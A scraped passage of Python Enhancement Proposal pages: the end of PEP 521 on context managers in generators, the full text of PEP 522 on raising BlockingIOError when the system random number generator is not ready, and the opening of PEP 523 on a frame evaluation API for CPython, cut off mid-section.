warnings context manager __exit__ would be called before f. So this PEP takes the position that __suspend__/__resume__ and “task-local storage” are two complementary tools that are both useful in different circumstances. Backwards compatibility Because __suspend__ and __resume__ are optional and default to no-ops, all existing context managers continue to work exactly as before. Speed-wise, this proposal adds additional overhead when entering a with block (where we must now check for the additional methods; failed attribute lookup in CPython is rather slow, since it involves allocating an AttributeError), and additional overhead at suspension points. Since the position of with blocks and suspension points is known statically, the compiler can straightforwardly optimize away this overhead in all cases except where one actually has a yield inside a with. Furthermore, because we only do attribute checks for __suspend__ and __resume__ once at the start of a with block, when these attributes are undefined then the per-yield overhead can be optimized down to a single C-level if (frame->needs_suspend_resume_calls) { ... }. Therefore, we expect the overall overhead to be negligible. Interaction with PEP 492 PEP 492 added new asynchronous context managers, which are like regular context managers, but instead of having regular methods __enter__ and __exit__ they have coroutine methods __aenter__ and __aexit__. Following this pattern, one might expect this proposal to add __asuspend__ and __aresume__ coroutine methods. But this doesn’t make much sense, since the whole point is that __suspend__ should be called before yielding our thread of execution and allowing other code to run. The only thing we accomplish by making __asuspend__ a coroutine is to make it possible for __asuspend__ itself to yield. So either we need to recursively call __asuspend__ from inside __asuspend__, or else we need to give up and allow these yields to happen without calling the suspend callback; either way it defeats the whole point. Well, with one exception: one possible pattern for coroutine code is to call yield in order to communicate with the coroutine runner, but without actually suspending their execution (i.e., the coroutine might know that the coroutine runner will resume them immediately after processing the yielded message). An example of this is the curio.timeout_after async context manager, which yields a special set_timeout message to the curio kernel, and then the kernel immediately (synchronously) resumes the coroutine which sent the message. And from the user point of view, this timeout value acts just like the kinds of global variables that motivated this PEP. But, there is a crucal difference: this kind of async context manager is, by definition, tightly integrated with the coroutine runner. So, the coroutine runner can take over responsibility for keeping track of which timeouts apply to which coroutines without any need for this PEP at all (and this is indeed how curio.timeout_after works). That leaves two reasonable approaches to handling async context managers: Add plain __suspend__ and __resume__ methods. Leave async context managers alone for now until we have more experience with them. Either seems plausible, so out of laziness / YAGNI this PEP tentatively proposes to stick with option (2). References [1] https://groups.google.com/forum/#!topic/python-tulip/zix5HQxtElg https://github.com/python/asyncio/issues/165 [2] For example, we would have to decide whether there is a single task-local namespace shared by all users (in which case we need a way for multiple third-party libraries to adjudicate access to this namespace), or else if there are multiple task-local namespaces, then we need some mechanism for each library to arrange for their task-local namespaces to be created and destroyed at appropriate moments. The preliminary patch linked from the github issue above doesn’t seem to provide any mechanism for such lifecycle management. Copyright This document has been placed in the public domain.

Withdrawn

PEP 521 – Managing global context via ‘with’ blocks in generators and coroutines

Standards Track

While we generally try to avoid global state when possible, there nonetheless exist a number of situations where it is agreed to be the best approach. In Python, a standard pattern for handling such cases is to store the global state in global or thread-local storage, and then use with blocks to limit modifications of this global state to a single dynamic scope. Examples where this pattern is used include the standard library’s warnings.catch_warnings and decimal.localcontext, NumPy’s numpy.errstate (which exposes the error-handling settings provided by the IEEE 754 floating point standard), and the handling of logging context or HTTP request context in many server application frameworks.

PEP 522 – Allow BlockingIOError in security sensitive APIs Author: Alyssa Coghlan <ncoghlan at gmail.com>, Nathaniel J. Smith <njs at pobox.com> Status: Rejected Type: Standards Track Requires: 506 Created: 16-Jun-2016 Python-Version: 3.6 Resolution: Security-SIG message Table of Contents Abstract Relationship with other PEPs PEP Rejection Changes independent of this PEP Proposal Changing os.urandom() on platforms with the getrandom() system call Adding secrets.wait_for_system_rng() Limitations on scope Rationale Ensuring the secrets module implicitly blocks when needed Raising BlockingIOError in os.urandom() on Linux Making secrets.wait_for_system_rng() public Backwards Compatibility Impact Assessment Unaffected Applications Affected security sensitive applications Affected non-security sensitive applications Additional Background Why propose this now? The cross-platform behaviour of os.urandom() Problems with the behaviour of /dev/urandom on Linux Consequences of getrandom() availability for Python References Copyright Abstract A number of APIs in the standard library that return random values nominally suitable for use in security sensitive operations currently have an obscure operating system dependent failure mode that allows them to return values that are not, in fact, suitable for such operations. This is due to some operating system kernels (most notably the Linux kernel) permitting reads from /dev/urandom before the system random number generator is fully initialized, whereas most other operating systems will implicitly block on such reads until the random number generator is ready. For the lower level os.urandom and random.SystemRandom APIs, this PEP proposes changing such failures in Python 3.6 from the current silent, hard to detect, and hard to debug, errors to easily detected and debugged errors by raising BlockingIOError with a suitable error message, allowing developers the opportunity to unambiguously specify their preferred approach for handling the situation. For the new high level secrets API, it proposes to block implicitly if needed whenever random number is generated by that module, as well as to expose a new secrets.wait_for_system_rng() function to allow code otherwise using the low level APIs to explicitly wait for the system random number generator to be available. This change will impact any operating system that offers the getrandom() system call, regardless of whether the default behaviour of the /dev/urandom device is to return potentially predictable results when the system random number generator is not ready (e.g. Linux, NetBSD) or to block (e.g. FreeBSD, Solaris, Illumos). Operating systems that prevent execution of userspace code prior to the initialization of the system random number generator, or do not offer the getrandom() syscall, will be entirely unaffected by the proposed change (e.g. Windows, Mac OS X, OpenBSD). The new exception or the blocking behaviour in the secrets module would potentially be encountered in the following situations: Python code calling these APIs during Linux system initialization Python code running on improperly initialized Linux systems (e.g. embedded hardware without adequate sources of entropy to seed the system random number generator, or Linux VMs that aren’t configured to accept entropy from the VM host) Relationship with other PEPs This PEP depends on the Accepted PEP 506, which adds the secrets module. This PEP competes with Victor Stinner’s PEP 524, which proposes to make os.urandom itself implicitly block when the system RNG is not ready. PEP Rejection For the reference implementation, Guido rejected this PEP in favour of the unconditional implicit blocking proposal in PEP 524 (which brings CPython’s behaviour on Linux into line with its behaviour on other operating systems). This means any further discussion of appropriate default behaviour for os.urandom() in system Python installations in Linux distributions should take place on the respective distro mailing lists, rather than on the upstream CPython mailing lists. Changes independent of this PEP CPython interpreter initialization and random module initialization have already been updated to gracefully fall back to alternative seeding options if the system random number generator is not ready. This PEP does not compete with the proposal in PEP 524 to add an os.getrandom() API to expose the getrandom syscall on platforms that offer it. There is sufficient motive for adding that API in the os module’s role as a thin wrapper around potentially platform dependent operating system features that it can be added regardless of what happens to the default behaviour of os.urandom() on these systems. Proposal Changing os.urandom() on platforms with the getrandom() system call This PEP proposes that in Python 3.6+, os.urandom() be updated to call the getrandom() syscall in non-blocking mode if available and raise BlockingIOError: system random number generator is not ready; see secrets.token_bytes() if the kernel reports that the call would block. This behaviour will then propagate through to the existing random.SystemRandom, which provides a relatively thin wrapper around os.urandom() that matches the random.Random() API. However, the new secrets module introduced by PEP 506 will be updated to catch the new exception and implicitly wait for the system random number generator if the exception is ever encountered. In all cases, as soon as a call to one of these security sensitive APIs succeeds, all future calls to these APIs in that process will succeed without blocking (once the operating system random number generator is ready after system boot, it remains ready). On Linux and NetBSD, this will replace the previous behaviour of returning potentially predictable results read from /dev/urandom. On FreeBSD, Solaris, and Illumos, this will replace the previous behaviour of implicitly blocking until the system random number generator is ready. However, it is not clear if these operating systems actually allow userspace code (and hence Python) to run before the system random number generator is ready. Note that in all cases, if calling the underlying getrandom() API reports ENOSYS rather than returning a successful response or reporting EAGAIN, CPython will continue to fall back to reading from /dev/urandom directly. Adding secrets.wait_for_system_rng() A new exception shouldn’t be added without a straightforward recommendation for how to resolve that error when encountered (however rare encountering the new error is expected to be in practice). For security sensitive code that actually does need to use the lower level interfaces to the system random number generator (rather than the new secrets module), and does receive live bug reports indicating this is a real problem for the userbase of that particular application rather than a theoretical one, this PEP’s recommendation will be to add the following snippet (directly or indirectly) to the __main__ module: import secrets secrets.wait_for_system_rng() Or, if compatibility with versions prior to Python 3.6 is needed: try: import secrets except ImportError: pass else: secrets.wait_for_system_rng() Within the secrets module itself, this will then be used in token_bytes() to block implicitly if the new exception is encountered: def token_bytes(nbytes=None): if nbytes is None: nbytes = DEFAULT_ENTROPY try: result = os.urandom(nbytes) except BlockingIOError: wait_for_system_rng() result = os.urandom(nbytes) return result Other parts of the module will then be updated to use token_bytes() as their basic random number generation building block, rather than calling os.urandom() directly. Application frameworks covering use cases where access to the system random number generator is almost certain to be needed (e.g. web frameworks) may choose to incorporate a call to secrets.wait_for_system_rng() implicitly into the commands that start the application such that existing calls to os.urandom() will be guaranteed to never raise the new exception when using those frameworks. For cases where the error is encountered for an application which cannot be modified directly, then the following command can be used to wait for the system random number generator to initialize before starting that application: python3 -c "import secrets; secrets.wait_for_system_rng()" For example, this snippet could be added to a shell script or a systemd ExecStartPre hook (and may prove useful in reliably waiting for the system random number generator to be ready, even if the subsequent command is not itself an application running under Python 3.6) Given the changes proposed to os.urandom() above, and the inclusion of an os.getrandom() API on systems that support it, the suggested implementation of this function would be: if hasattr(os, "getrandom"): # os.getrandom() always blocks waiting for the system RNG by default def wait_for_system_rng(): """Block waiting for system random number generator to be ready""" os.getrandom(1) return else: # As far as we know, other platforms will never get BlockingIOError # below but the implementation makes pessimistic assumptions def wait_for_system_rng(): """Block waiting for system random number generator to be ready""" # If the system RNG is already seeded, don't wait at all try: os.urandom(1) return except BlockingIOError: pass # Avoid the below busy loop if possible try: block_on_system_rng = open("/dev/random", "rb") except FileNotFoundError: pass else: with block_on_system_rng: block_on_system_rng.read(1) # Busy loop until the system RNG is ready while True: try: os.urandom(1) break except BlockingIOError: # Only check once per millisecond time.sleep(0.001) On systems where it is possible to wait for the system RNG to be ready, this function will do so without a busy loop if os.getrandom() is defined, os.urandom() itself implicitly blocks, or the /dev/random device is available. If the system random number generator is ready, this call is guaranteed to never block, even if the system’s /dev/random device uses a design that permits it to block intermittently during normal system operation. Limitations on scope No changes are proposed for Windows or Mac OS X systems, as neither of those platforms provides any mechanism to run Python code before the operating system random number generator has been initialized. Mac OS X goes so far as to kernel panic and abort the boot process if it can’t properly initialize the random number generator (although Apple’s restrictions on the supported hardware platforms make that exceedingly unlikely in practice). Similarly, no changes are proposed for other *nix systems that do not offer the getrandom() syscall. On these systems, os.urandom() will continue to block waiting for the system random number generator to be initialized. While other *nix systems that offer a non-blocking API (other than getrandom()) for requesting random numbers suitable for use in security sensitive applications could potentially receive a similar update to the one proposed for getrandom() in this PEP, such changes are out of scope for this particular proposal. Python’s behaviour on older versions of affected platforms that do not offer the new getrandom() syscall will also remain unchanged. Rationale Ensuring the secrets module implicitly blocks when needed This is done to help encourage the meme that arises for folks that want the simplest possible answer to the right way to generate security sensitive random numbers to be “Use the secrets module when available or your application might crash unexpectedly”, rather than the more boilerplate heavy “Always call secrets.wait_for_system_rng() when available or your application might crash unexpectedly”. It’s also done due to the BDFL having a higher tolerance for APIs that might block unexpectedly than he does for APIs that might throw an unexpected exception [11]. Raising BlockingIOError in os.urandom() on Linux For several years now, the security community’s guidance has been to use os.urandom() (or the random.SystemRandom() wrapper) when implementing security sensitive operations in Python. To help improve API discoverability and make it clearer that secrecy and simulation are not the same problem (even though they both involve random numbers), PEP 506 collected several of the one line recipes based on the lower level os.urandom() API into a new secrets module. However, this guidance has also come with a longstanding caveat: developers writing security sensitive software at least for Linux, and potentially for some other *BSD systems, may need to wait until the operating system’s random number generator is ready before relying on it for security sensitive operations. This generally only occurs if os.urandom() is read very early in the system initialization process, or on systems with few sources of available entropy (e.g. some kinds of virtualized or embedded systems), but unfortunately the exact conditions that trigger this are difficult to predict, and when it occurs then there is no direct way for userspace to tell it has happened without querying operating system specific interfaces. On *BSD systems (if the particular *BSD variant allows the problem to occur at all) and potentially also Solaris and Illumos, encountering this situation means os.urandom() will either block waiting for the system random number generator to be ready (the associated symptom would be for the affected script to pause unexpectedly on the first call to os.urandom()) or else will behave the same way as it does on Linux. On Linux, in Python versions up to and including Python 3.4, and in Python 3.5 maintenance versions following Python 3.5.2, there’s no clear indicator to developers that their software may not be working as expected when run early in the Linux boot process, or on hardware without good sources of entropy to seed the operating system’s random number generator: due to the behaviour of the underlying /dev/urandom device, os.urandom() on Linux returns a result either way, and it takes extensive statistical analysis to show that a security vulnerability exists. By contrast, if BlockingIOError is raised in those situations, then developers using Python 3.6+ can easily choose their desired behaviour: Wait for the system RNG at or before application startup (security sensitive) Switch to using the random module (non-security sensitive) Making secrets.wait_for_system_rng() public Earlier versions of this PEP proposed a number of recipes for wrapping os.urandom() to make it suitable for use in security sensitive use cases. Discussion of the proposal on the security-sig mailing list prompted the realization [9] that the core assumption driving the API design in this PEP was that choosing between letting the exception cause the application to fail, blocking waiting for the system RNG to be ready and switching to using the random module instead of os.urandom is an application and use-case specific decision that should take into account application and use-case specific details. There is no way for the interpreter runtime or support libraries to determine whether a particular use case is security sensitive or not, and while it’s straightforward for application developer to decide how to handle an exception thrown by a particular API, they can’t readily workaround an API blocking when they expected it to be non-blocking. Accordingly, the PEP was updated to add secrets.wait_for_system_rng() as an API for applications, scripts and frameworks to use to indicate that they wanted to ensure the system RNG was available before continuing, while library developers could continue to call os.urandom() without worrying that it might unexpectedly start blocking waiting for the system RNG to be available. Backwards Compatibility Impact Assessment Similar to PEP 476, this is a proposal to turn a previously silent security failure into a noisy exception that requires the application developer to make an explicit decision regarding the behaviour they desire. As no changes are proposed for operating systems that don’t provide the getrandom() syscall, os.urandom() retains its existing behaviour as a nominally blocking API that is non-blocking in practice due to the difficulty of scheduling Python code to run before the operating system random number generator is ready. We believe it may be possible to encounter problems akin to those described in this PEP on at least some *BSD variants, but nobody has explicitly demonstrated that. On Mac OS X and Windows, it appears to be straight up impossible to even try to run a Python interpreter that early in the boot process. On Linux and other platforms with similar /dev/urandom behaviour, os.urandom() retains its status as a guaranteed non-blocking API. However, the means of achieving that status changes in the specific case of the operating system random number generator not being ready for use in security sensitive operations: historically it would return potentially predictable random data, with this PEP it would change to raise BlockingIOError. Developers of affected applications would then be required to make one of the following changes to gain forward compatibility with Python 3.6, based on the kind of application they’re developing. Unaffected Applications The following kinds of applications would be entirely unaffected by the change, regardless of whether or not they perform security sensitive operations: applications that don’t support Linux applications that are only run on desktops or conventional servers applications that are only run after the system RNG is ready (including those where an application framework calls secrets.wait_for_system_rng() on their behalf) Applications in this category simply won’t encounter the new exception, so it will be reasonable for developers to wait and see if they receive Python 3.6 compatibility bugs related to the new runtime behaviour, rather than attempting to pre-emptively determine whether or not they’re affected. Affected security sensitive applications Security sensitive applications would need to either change their system configuration so the application is only started after the operating system random number generator is ready for security sensitive operations, change the application startup code to invoke secrets.wait_for_system_rng(), or else switch to using the new secrets.token_bytes() API. As an example for components started via a systemd unit file, the following snippet would delay activation until the system RNG was ready: ExecStartPre=python3 -c “import secrets; secrets.wait_for_system_rng()” Alternatively, the following snippet will use secrets.token_bytes() if available, and fall back to os.urandom() otherwise: try:import secrets.token_bytes as _get_random_bytes except ImportError:import os.urandom as _get_random_bytes Affected non-security sensitive applications Non-security sensitive applications should be updated to use the random module rather than os.urandom: def pseudorandom_bytes(num_bytes): return random.getrandbits(num_bytes*8).to_bytes(num_bytes, "little") Depending on the details of the application, the random module may offer other APIs that can be used directly, rather than needing to emulate the raw byte sequence produced by the os.urandom() API. Additional Background Why propose this now? The main reason is because the Python 3.5.0 release switched to using the new Linux getrandom() syscall when available in order to avoid consuming a file descriptor [1], and this had the side effect of making the following operations block waiting for the system random number generator to be ready: os.urandom (and APIs that depend on it) importing the random module initializing the randomized hash algorithm used by some builtin types While the first of those behaviours is arguably desirable (and consistent with the existing behaviour of os.urandom on other operating systems), the latter two behaviours are unnecessary and undesirable, and the last one is now known to cause a system level deadlock when attempting to run Python scripts during the Linux init process with Python 3.5.0 or 3.5.1 [2], while the second one can cause problems when using virtual machines without robust entropy sources configured [3]. Since decoupling these behaviours in CPython will involve a number of implementation changes more appropriate for a feature release than a maintenance release, the relatively simple resolution applied in Python 3.5.2 was to revert all three of them to a behaviour similar to that of previous Python versions: if the new Linux syscall indicates it will block, then Python 3.5.2 will implicitly fall back on reading /dev/urandom directly [4]. However, this bug report also resulted in a range of proposals to add new APIs like os.getrandom() [5], os.urandom_block() [6], os.pseudorandom() and os.cryptorandom() [7], or adding new optional parameters to os.urandom() itself [8], and then attempting to educate users on when they should call those APIs instead of just using a plain os.urandom() call. These proposals arguably represent overreactions, as the question of reliably obtaining random numbers suitable for security sensitive work on Linux is a relatively obscure problem of interest mainly to operating system developers and embedded systems programmers, that may not justify expanding the Python standard library’s cross-platform APIs with new Linux-specific concerns. This is especially so with the secrets module already being added as the “use this and don’t worry about the low level details” option for developers writing security sensitive software that for some reason can’t rely on even higher level domain specific APIs (like web frameworks) and also don’t need to worry about Python versions prior to Python 3.6. That said, it’s also the case that low cost ARM devices are becoming increasingly prevalent, with a lot of them running Linux, and a lot of folks writing Python applications that run on those devices. That creates an opportunity to take an obscure security problem that currently requires a lot of knowledge about Linux boot processes and provably unpredictable random number generation to diagnose and resolve, and instead turn it into a relatively mundane and easy-to-find-in-an-internet-search runtime exception. The cross-platform behaviour of os.urandom() On operating systems other than Linux and NetBSD, os.urandom() may already block waiting for the operating system’s random number generator to be ready. This will happen at most once in the lifetime of the process, and the call is subsequently guaranteed to be non-blocking. Linux and NetBSD are outliers in that, even when the operating system’s random number generator doesn’t consider itself ready for use in security sensitive operations, reading from the /dev/urandom device will return random values based on the entropy it has available. This behaviour is potentially problematic, so Linux 3.17 added a new getrandom() syscall that (amongst other benefits) allows callers to either block waiting for the random number generator to be ready, or else request an error return if the random number generator is not ready. Notably, the new API does not support the old behaviour of returning data that is not suitable for security sensitive use cases. Versions of Python prior up to and including Python 3.4 access the Linux /dev/urandom device directly. Python 3.5.0 and 3.5.1 (when build on a system that offered the new syscall) called getrandom() in blocking mode in order to avoid the use of a file descriptor to access /dev/urandom. While there were no specific problems reported due to os.urandom() blocking in user code, there were problems due to CPython implicitly invoking the blocking behaviour during interpreter startup and when importing the random module. Rather than trying to decouple SipHash initialization from the os.urandom() implementation, Python 3.5.2 switched to calling getrandom() in non-blocking mode, and falling back to reading from /dev/urandom if the syscall indicates it will block. As a result of the above, os.urandom() in all Python versions up to and including Python 3.5 propagate the behaviour of the underling /dev/urandom device to Python code. Problems with the behaviour of /dev/urandom on Linux The Python os module has largely co-evolved with Linux APIs, so having os module functions closely follow the behaviour of their Linux operating system level counterparts when running on Linux is typically considered to be a desirable feature. However, /dev/urandom represents a case where the current behaviour is acknowledged to be problematic, but fixing it unilaterally at the kernel level has been shown to prevent some Linux distributions from booting (at least in part due to components like Python currently using it for non-security-sensitive purposes early in the system initialization process). As an analogy, consider the following two functions: def generate_example_password(): """Generates passwords solely for use in code examples""" return generate_unpredictable_password() def generate_actual_password(): """Generates actual passwords for use in real applications""" return generate_unpredictable_password() If you think of an operating system’s random number generator as a method for generating unpredictable, secret passwords, then you can think of Linux’s /dev/urandom as being implemented like: # Oversimplified artist's conception of the kernel code # implementing /dev/urandom def generate_unpredictable_password(): if system_rng_is_ready: return use_system_rng_to_generate_password() else: # we can't make an unpredictable password; silently return a # potentially predictable one instead: return "p4ssw0rd" In this scenario, the author of generate_example_password is fine - even if "p4ssw0rd" shows up a bit more often than they expect, it’s only used in examples anyway. However, the author of generate_actual_password has a problem - how do they prove that their calls to generate_unpredictable_password never follow the path that returns a predictable answer? In real life it’s slightly more complicated than this, because there might be some level of system entropy available – so the fallback might be more like return random.choice(["p4ssword", "passw0rd", "p4ssw0rd"]) or something even more variable and hence only statistically predictable with better odds than the author of generate_actual_password was expecting. This doesn’t really make things more provably secure, though; mostly it just means that if you try to catch the problem in the obvious way – if returned_password == "p4ssw0rd": raise UhOh – then it doesn’t work, because returned_password might instead be p4ssword or even pa55word, or just an arbitrary 64 bit sequence selected from fewer than 2**64 possibilities. So this rough sketch does give the right general idea of the consequences of the “more predictable than expected” fallback behaviour, even though it’s thoroughly unfair to the Linux kernel team’s efforts to mitigate the practical consequences of this problem without resorting to breaking backwards compatibility. This design is generally agreed to be a bad idea. As far as we can tell, there are no use cases whatsoever in which this is the behavior you actually want. It has led to the use of insecure ssh keys on real systems, and many *nix-like systems (including at least Mac OS X, OpenBSD, and FreeBSD) have modified their /dev/urandom implementations so that they never return predictable outputs, either by making reads block in this case, or by simply refusing to run any userspace programs until the system RNG has been initialized. Unfortunately, Linux has so far been unable to follow suit, because it’s been empirically determined that enabling the blocking behavior causes some currently extant distributions to fail to boot. Instead, the new getrandom() syscall was introduced, making it possible for userspace applications to access the system random number generator safely, without introducing hard to debug deadlock problems into the system initialization processes of existing Linux distros. Consequences of getrandom() availability for Python Prior to the introduction of the getrandom() syscall, it simply wasn’t feasible to access the Linux system random number generator in a provably safe way, so we were forced to settle for reading from /dev/urandom as the best available option. However, with getrandom() insisting on raising an error or blocking rather than returning predictable data, as well as having other advantages, it is now the recommended method for accessing the kernel RNG on Linux, with reading /dev/urandom directly relegated to “legacy” status. This moves Linux into the same category as other operating systems like Windows, which doesn’t provide a /dev/urandom device at all: the best available option for implementing os.urandom() is no longer simply reading bytes from the /dev/urandom device. This means that what used to be somebody else’s problem (the Linux kernel development team’s) is now Python’s problem – given a way to detect that the system RNG is not initialized, we have to choose how to handle this situation whenever we try to use the system RNG. It could simply block, as was somewhat inadvertently implemented in 3.5.0, and as is proposed in Victor Stinner’s competing PEP: # artist's impression of the CPython 3.5.0-3.5.1 behavior def generate_unpredictable_bytes_or_block(num_bytes): while not system_rng_is_ready: wait return unpredictable_bytes(num_bytes) Or it could raise an error, as this PEP proposes (in some cases): # artist's impression of the behavior proposed in this PEP def generate_unpredictable_bytes_or_raise(num_bytes): if system_rng_is_ready: return unpredictable_bytes(num_bytes) else: raise BlockingIOError Or it could explicitly emulate the /dev/urandom fallback behavior, as was implemented in 3.5.2rc1 and is expected to remain for the rest of the 3.5.x cycle: # artist's impression of the CPython 3.5.2rc1+ behavior def generate_unpredictable_bytes_or_maybe_not(num_bytes): if system_rng_is_ready: return unpredictable_bytes(num_bytes) else: return (b"p4ssw0rd" * (num_bytes // 8 + 1))[:num_bytes] (And the same caveats apply to this sketch as applied to the generate_unpredictable_password sketch of /dev/urandom above.) There are five places where CPython and the standard library attempt to use the operating system’s random number generator, and thus five places where this decision has to be made: initializing the SipHash used to protect str.__hash__ and friends against DoS attacks (called unconditionally at startup) initializing the random module (called when random is imported) servicing user calls to the os.urandom public API the higher level random.SystemRandom public API the new secrets module public API added by PEP 506 Previously, these five places all used the same underlying code, and thus made this decision in the same way. This whole problem was first noticed because 3.5.0 switched that underlying code to the generate_unpredictable_bytes_or_block behavior, and it turns out that there are some rare cases where Linux boot scripts attempted to run a Python program as part of system initialization, the Python startup sequence blocked while trying to initialize SipHash, and then this triggered a deadlock because the system stopped doing anything – including gathering new entropy – until the Python script was forcibly terminated by an external timer. This is particularly unfortunate since the scripts in question never processed untrusted input, so there was no need for SipHash to be initialized with provably unpredictable random data in the first place. This motivated the change in 3.5.2rc1 to emulate the old /dev/urandom behavior in all cases (by calling getrandom() in non-blocking mode, and then falling back to reading /dev/urandom if the syscall indicates that the /dev/urandom pool is not yet fully initialized.) We don’t know whether such problems may also exist in the Fedora/RHEL/CentOS ecosystem, as the build systems for those distributions use chroots on servers running an older operating system kernel that doesn’t offer the getrandom() syscall, which means CPython’s current build configuration compiles out the runtime check for that syscall [10]. A similar problem was found due to the random module calling os.urandom as a side-effect of import in order to seed the default global random.Random() instance. We have not received any specific complaints regarding direct calls to os.urandom() or random.SystemRandom() blocking with 3.5.0 or 3.5.1 - only problem reports due to the implicit blocking on interpreter startup and as a side-effect of importing the random module. Independently of this PEP, the first two cases have already been updated to never block, regardless of the behaviour of os.urandom(). Where PEP 524 proposes to make all 3 of the latter cases block implicitly, this PEP proposes that approach only for the last case (the secrets) module, with os.urandom() and random.SystemRandom() instead raising an exception when they detect that the underlying operating system call would block. References [1] os.urandom() should use Linux 3.17 getrandom() syscall (http://bugs.python.org/issue22181) [2] Python 3.5 running on Linux kernel 3.17+ can block at startup or on importing the random module on getrandom() (http://bugs.python.org/issue26839) [3] “import random” blocks on entropy collection on Linux with low entropy (http://bugs.python.org/issue25420) [4] os.urandom() doesn’t block on Linux anymore (https://hg.python.org/cpython/rev/9de508dc4837) [5] Proposal to add os.getrandom() (http://bugs.python.org/issue26839#msg267803) [6] Add os.urandom_block() (http://bugs.python.org/issue27250) [7] Add random.cryptorandom() and random.pseudorandom, deprecate os.urandom() (http://bugs.python.org/issue27279) [8] Always use getrandom() in os.random() on Linux and add block=False parameter to os.urandom() (http://bugs.python.org/issue27266) [9] Application level vs library level design decisions (https://mail.python.org/pipermail/security-sig/2016-June/000057.html) [10] Does the HAVE_GETRANDOM_SYSCALL config setting make sense? (https://mail.python.org/pipermail/security-sig/2016-June/000060.html) [11] Take a decision for os.urandom() in Python 3.6 (https://mail.python.org/pipermail/security-sig/2016-August/000084.htm) For additional background details beyond those captured in this PEP and Victor’s competing PEP, also see Victor’s prior collection of relevant information and links at https://haypo-notes.readthedocs.io/summary_python_random_issue.html Copyright This document has been placed into the public domain.

Rejected

PEP 522 – Allow BlockingIOError in security sensitive APIs

Standards Track

A number of APIs in the standard library that return random values nominally suitable for use in security sensitive operations currently have an obscure operating system dependent failure mode that allows them to return values that are not, in fact, suitable for such operations.

PEP 523 – Adding a frame evaluation API to CPython Author: Brett Cannon <brett at python.org>, Dino Viehland <dinov at microsoft.com> Status: Final Type: Standards Track Created: 16-May-2016 Python-Version: 3.6 Post-History: 16-May-2016 Resolution: Python-Dev message Table of Contents Abstract Rationale Proposal Expanding PyCodeObject Expanding PyInterpreterState Changes to Python/ceval.c Updating python-gdb.py Performance impact Example Usage A JIT for CPython Pyjion Other JITs Debugging Implementation Open Issues Allow eval_frame to be NULL Rejected Ideas A JIT-specific C API Is co_extra needed? References Copyright Abstract This PEP proposes to expand CPython’s C API [2] to allow for the specification of a per-interpreter function pointer to handle the evaluation of frames [5]. This proposal also suggests adding a new field to code objects [3] to store arbitrary data for use by the frame evaluation function. Rationale One place where flexibility has been lacking in Python is in the direct execution of Python code. While CPython’s C API [2] allows for constructing the data going into a frame object and then evaluating it via PyEval_EvalFrameEx() [5], control over the execution of Python code comes down to individual objects instead of a holistic control of execution at the frame level. While wanting to have influence over frame evaluation may seem a bit too low-level, it does open the possibility for things such as a method-level JIT to be introduced into CPython without CPython itself having to provide one. By allowing external C code to control frame evaluation, a JIT can participate in the execution of Python code at the key point where evaluation occurs. This then allows for a JIT to conditionally recompile Python bytecode to machine code as desired while still allowing for executing regular CPython bytecode when running the JIT is not desired. This can be accomplished by allowing interpreters to specify what function to call to evaluate a frame. And by placing the API at the frame evaluation level it allows for a complete view of the execution environment of the code for the JIT. This ability to specify a frame evaluation function also allows for other use-cases beyond just opening CPython up to a JIT. For instance, it would not be difficult to implement a tracing or profiling function at the call level with this API. While CPython does provide the ability to set a tracing or profiling function at the Python level, this would be able to match the data collection of the profiler and quite possibly be faster for tracing by simply skipping per-line tracing support. It also opens up the possibility of debugging where the frame evaluation function only performs special debugging work when it detects it is about to execute a specific code object. In that instance the bytecode could be theoretically rewritten in-place to inject a breakpoint function call at the proper point for help in debugging while not having to do a heavy-handed approach as required by sys.settrace(). To help facilitate these use-cases, we are also proposing the adding of a “scratch space” on code objects via a new field. This will allow per-code object data to be stored with the code object itself for easy retrieval by the frame evaluation function as necessary. The field itself will simply be a PyObject * type so that any data stored in the field will participate in normal object memory management. Proposal All proposed C API changes below will not be part of the stable ABI. Expanding PyCodeObject One field is to be added to the PyCodeObject struct [3]: typedef struct { ... void *co_extra; /* "Scratch space" for the code object. */ } PyCodeObject; The co_extra will be NULL by default and only filled in as needed. Values stored in the field are expected to not be required in order for the code object to function, allowing the loss of the data of the field to be acceptable. A private API has been introduced to work with the field: PyAPI_FUNC(Py_ssize_t) _PyEval_RequestCodeExtraIndex(freefunc); PyAPI_FUNC(int) _PyCode_GetExtra(PyObject *code, Py_ssize_t index, void **extra); PyAPI_FUNC(int) _PyCode_SetExtra(PyObject *code, Py_ssize_t index, void *extra); Users of the field are expected to call _PyEval_RequestCodeExtraIndex() to receive (what should be considered) an opaque index value to adding data into co-extra. With that index, users can set data using _PyCode_SetExtra() and later retrieve the data with _PyCode_GetExtra(). The API is purposefully listed as private to communicate the fact that there are no semantic guarantees of the API between Python releases. Using a list and tuple were considered but was found to be less performant, and with a key use-case being JIT usage the performance consideration won out for using a custom struct instead of a Python object. A dict was also considered, but once again performance was more important. While a dict will have constant overhead in looking up data, the overhead for the common case of a single object being stored in the data structure leads to a tuple having better performance characteristics (i.e. iterating a tuple of length 1 is faster than the overhead of hashing and looking up an object in a dict). Expanding PyInterpreterState The entrypoint for the frame evaluation function is per-interpreter: // Same type signature as PyEval_EvalFrameEx(). typedef PyObject* (*_PyFrameEvalFunction)(PyFrameObject*, int); typedef struct { ... _PyFrameEvalFunction eval_frame; } PyInterpreterState; By default, the eval_frame field will be initialized to a function pointer that represents what PyEval_EvalFrameEx() currently is (called _PyEval_EvalFrameDefault(), discussed later in this PEP). Third-party code may then set their own frame evaluation function instead to control the execution of Python code. A pointer comparison can be used to detect if the field is set to _PyEval_EvalFrameDefault() and thus has not been mutated yet. Changes to Python/ceval.c PyEval_EvalFrameEx() [5] as it currently stands will be renamed to _PyEval_EvalFrameDefault(). The new PyEval_EvalFrameEx() will then become: PyObject * PyEval_EvalFrameEx(PyFrameObject *frame, int throwflag) { PyThreadState *tstate = PyThreadState_GET(); return tstate->interp->eval_frame(frame, throwflag); } This allows third-party code to place themselves directly in the path of Python code execution while being backwards-compatible with code already using the pre-existing C API. Updating python-gdb.py The generated python-gdb.py file used for Python support in GDB makes some hard-coded assumptions about PyEval_EvalFrameEx(), e.g. the names of local variables. It will need to be updated to work with the proposed changes. Performance impact As this PEP is proposing an API to add pluggability, performance impact is considered only in the case where no third-party code has made any changes. Several runs of pybench [14] consistently showed no performance cost from the API change alone. A run of the Python benchmark suite [9] showed no measurable cost in performance. In terms of memory impact, since there are typically not many CPython interpreters executing in a single process that means the impact of co_extra being added to PyCodeObject is the only worry. According to [8], a run of the Python test suite results in about 72,395 code objects being created. On a 64-bit CPU that would result in 579,160 bytes of extra memory being used if all code objects were alive at once and had nothing set in their co_extra fields. Example Usage A JIT for CPython Pyjion The 